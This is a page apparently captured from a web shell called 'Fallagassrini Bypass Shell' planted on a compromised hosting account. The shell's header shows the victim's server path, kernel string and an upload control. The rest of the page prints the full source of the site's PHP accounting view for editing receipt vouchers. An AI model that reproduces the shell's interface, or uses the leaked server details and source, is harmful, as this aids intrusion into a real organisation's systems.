? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/views/accounting/edit_receipt_voucher.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script src="<?= base_url() ?>assets/js/jquery.autocomplete.js"></script>
<script>
    $(document).ready(function()
    {
        checkfiscalyear();
        $(".addRow_payment").btnAddRow({inputBoxAutoNumber: true}, function(row) {
            suggestaccount('.payment_account');
        });        
        suggestaccount('.payment_account');
        suggest_bank_account('#bankacc');
    });
</script>   
<div class="icons_main">
   <div  class="icons">
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('accounting','viewinaccountingsearch','search_receipt_voucher','view_receipt_voucher','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
     <div class="icons_caption">
        <h4>Update Receipt Voucher</h4>
     </div>
</div>
<div id="viewmsg" style="width: 100%;float: left;height: 25px;"></div>
<?php
        
            
    $attributes=array('id'=>'validateform','class'=>'validate');
    echo form_open('accounting/addinaccounting/update_receipt_voucher/view_receipt_voucher/1',$attributes);
    $bankacc=$this->mastermodel->getdatas('finance_bank_account','bank_account_id','asc','bank_account_id');
    $payment_type=$this->mastermodel->getdatas('finance_payment_types','payment_type_id','asc','payment_type_id');
    $accounts=$this->mastermodel->getdatas('finance_chart_master','chart_type_id','','chart_master_id');
    $bank_acc=$this->mastermodel->get_single_field_value_two('finance_journal','chart_account_code','journal_id',$journal_refs->journal_id,'credit','0');
//    echo $journal_refs->journal_id;
//    $bank_acc=$this->mastermodel->get_single_field_value('finance_journal','chart_account_code','chart_type_id ',$postdata['chart_type_id']); 
    ?>
    <input type="hidden" name="transaction_id" value="2"/>
    <input type="hidden" name="journal_id" value="<?=$journal_refs->journal_id?>"/>
    <input type="hidden" name="payment_old" value="<?=$journal_refs->payment_type_id?>"/>
    <input type="hidden" name="reference" value="<?=$journal_refs->reference?>"/>
    <div class="grid_12">
        <div class="box">
            <div class="content no-padding">     
            <div class="header main">  Bank Account Deposit Entry</div>
                <table class="table">
                   <tr>
                        
                        <th>Transaction No: </th>
                        <th>To:</th>
                        <th>Date:</th>
                        <th>Payment Method</th>
                       
                    </tr>
                    <tr>
                        
                        <td><input readonly="readonly"  type="text" value="<?=$journal_refs->reference?>"/></td>
                        <td>
                            
                            <?php
                                foreach ($bankacc as $value) 
                                {          
                                    if($value['chart_account_code']==$bank_acc) 
                                    {?>
                                        
                                        <input type="text" name="bankacc" id="bankacc" value='<?=$value["bank_name"]?>' class="required"  />
                                        <input type="hidden" name="bankacc_id" id="bankacc_id" value="<?=$value['bank_account_id'].'~'.$value['chart_account_code'].'~'.$value["bank_name"]?>" />
                            
                                    <?php }
//                                    echo '<option value="'.$value['bank_account_id'].'~'.$value['chart_account_code'].'~'.$value["bank_name"].'"'; if($value['chart_account_code']==$bank_acc) echo "selected"; echo '>'.$value["bank_name"].'</option>';
                                }
                                ?>
<!--                            <select name="bankacc" id="bankacc" class="required">
                                <?php
//                                foreach ($bankacc as $value) 
//                                {                                
//                                    echo '<option value="'.$value['bank_account_id'].'~'.$value['chart_account_code'].'~'.$value["bank_name"].'"'; if($value['chart_account_code']==$bank_acc) echo "selected"; echo '>'.$value["bank_name"].'</option>';
//                                }
                                ?>
                            </select>-->
                        </td>
                        <td><input class="w_90 required" type="dateonly" name="journal_date" id="journal_date" value="<?=$this->mastermodel->convertdatenormalformat($journal_refs->journal_date)?>"/></td>
                        <td>
                            <select name="payment_type_id" id="payment_type_id" class="required  chzn-done" onchange="select_payment_mode(this.value,'payment_mode')">
                                <?php
                                foreach ($payment_type as $value) 
                                {                                
                                    echo '<option value="'.$value['payment_type_id'].'"';if($value['payment_type_id']==$journal_refs->payment_type_id) echo "selected";echo '>'.$value["payment_type"].'</option>';
                                }
                                ?>
                            </select>
                           
                        </td>
                       
                    </tr>                    
                </table>
            </div>
        </div>
    </div> 
<div class="grid_12">
        <div class="box" id='payment_mode'>
        <?php
           if($journal_refs->payment_type_id==2)
            {
               $cheque=$this->mastermodel->get_data_srow('finance_cheque_info',$journal_refs->journal_id,'journal_id');               
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">
                    <tr>
                        <th>Cheque Date</th>
                        <th>Cheque No</th>
                        <th>Cheque Info</th>
                    </tr>
                    <tr>
                        <td>
                            <input class="w_90 required" type="dateonly" name="cheque_date" id="cheque_date" value="<?=$this->mastermodel->convertdatenormalformat($cheque->cheque_date)?>"/>
                        </td>
                        <td>
                            <input class="w_90 required" type="text" name="cheque_no" id="cheque_no" value="<?=$cheque->cheque_no?>"/>
                        </td>
                        <td>
                            <textarea class=" required"  name="cheque_info" id="cheque_info"><?=$cheque->cheque_info?></textarea>
                        </td>
                    </tr>
                </table>
            </div>
            <?php
            }
            else if($journal_refs->payment_type_id==3)
            {
                $wire_info=$this->mastermodel->get_data_srow('finance_wire_info',$journal_refs->journal_id,'journal_id');     
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">        
                    <tr>
                        <th>Wire Info</th>  
                        <td>
                            <input class="w_90 required" type="text" name="wire_info" id="wire_info" style="width:250px;" value="<?=$wire_info->wire_info?>"/>
                        </td>

                    </tr>
                </table>
            </div>
            <?php 
            }
            ?>
        </div>
</div>
    <div class="grid_12">
        <div class="box">
            <div class="content no-padding">     
            <div class="header main">  Deposit Items</div>
                <table class="table">
                   <tr>
                        <th>Acc code</th>
                        <th>Type</th>
                        <th></th>
                        <th>Description</th>
                        <th>Amount</th>
                        
                        <th><input type="button" id="button2" value="Add More" class="addRow_payment" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php
                    $i=1;
                    foreach($journal->result() as $row)
                    {
                        $finance_refs=$this->mastermodel->get_data_srow('finance_refs',$row->id,'refs_id');
                        $type="";
                        $param="";
                        if($finance_refs)
                        {
                            
                            
                            $param=$finance_refs->param_table.'~'.$finance_refs->param_id.'~'.$finance_refs->refs_type;
                            if($finance_refs->param_table=='cost_center')
                                $type='cost';
                            else 
                                $type='invoice';
                            ?>
                    
                            <script>
                            $(document).ready(function()
                            {
                               select_purchase_type('<?=$i?>','param','<?=$finance_refs->param_id?>');
//                               $('#param').val()
                            });
                            </script>
                    <?php
                            
                        }
                            
                        
                    ?>
                    <tr>
                        <td>
                            <?php
                                
                                foreach ($accounts as $value) 
                                {                                    
                                    if($value["chart_account_code"]==$row->chart_account_code)
                                    {?>
                                       <input type="text" name="payment_to<?=$i?>" id="payment_to<?=$i?>" data-id='payment_to_id<?=$i?>' value='<?=$value["chart_account_code"].$value["chart_account_name"]?>' class="required payment_account" />
                                       <input type="hidden" name="payment_to_id<?=$i?>" id="payment_to_id<?=$i?>" value="<?=$value['chart_master_id'].'~'.$value["chart_account_code"].'~'.$value["chart_account_name"]?>" /> 
                                    <?php
                                    }
                                }
                                ?>
                        </td>
                        <td>
                            <select id="<?=$i?>" name="type_<?=$i?>" class="chzn-done" onchange="select_purchase_type(this.id,'param')">
                                <option value="">Select</option>
                                <option value="cost" <?php if($type=="cost") echo "selected"; ?>>Cost of Center</option>
                                <option value="invoice" <?php if($type=="invoice") echo "selected"; ?>>Invoice/Lease Agreement</option>
                            </select>
                        </td>
                        <td>
                            <select name="param<?=$i?>" id="param<?=$i?>" class="chzn-done">
                                <option value="">Select</option>
                                
                            </select>
                        
                        </td>
                        
                        <td><textarea name="description<?=$i?>" id="description<?=$i?>"><?=$row->description?></textarea></td>
                        <td><input class="w_90 number required text_r" type="text" name="amount<?=$i?>" id="amount<?=$i?>" value="<?=$row->credit?>" onblur="checkamount(this.id)"/></td>
                        
                        <td>
                        <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                    <?php
                    $i++;
                    }
                    ?>
<!--                     <tr>
                       
                         
                        <td colspan="4"></td>   
                        <td colspan="2">
                            Total:
                                     <input class="w_90" type="text" name="yearofpassing" id="yearofpassing"/>
                        </td>
                    </tr>-->
                    
                </table>
            </div>
        </div>
    </div> 

    
<div class="grid_12">
    <div class="box">
        <div class="actions">
                 <div class="actions-left">
                        <input type="reset">
                        

                 </div>
                 <div class="actions-right">
                     <button type="submit" id="button1" class="clickimage" onclick="checkdata('payment_to', 'payment_account','No existing  Account selected');
                    checkdatavalidity($('input#bankacc_id').val(), 'bankacc', 'No existing Bank Account selected');
                    addformdata('validateform')">Process Deposit</button>
                 </div>
        </div>
    </div>
</div>
    <div style="height: 300px;">
        
    </div>
<?php echo form_close();?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net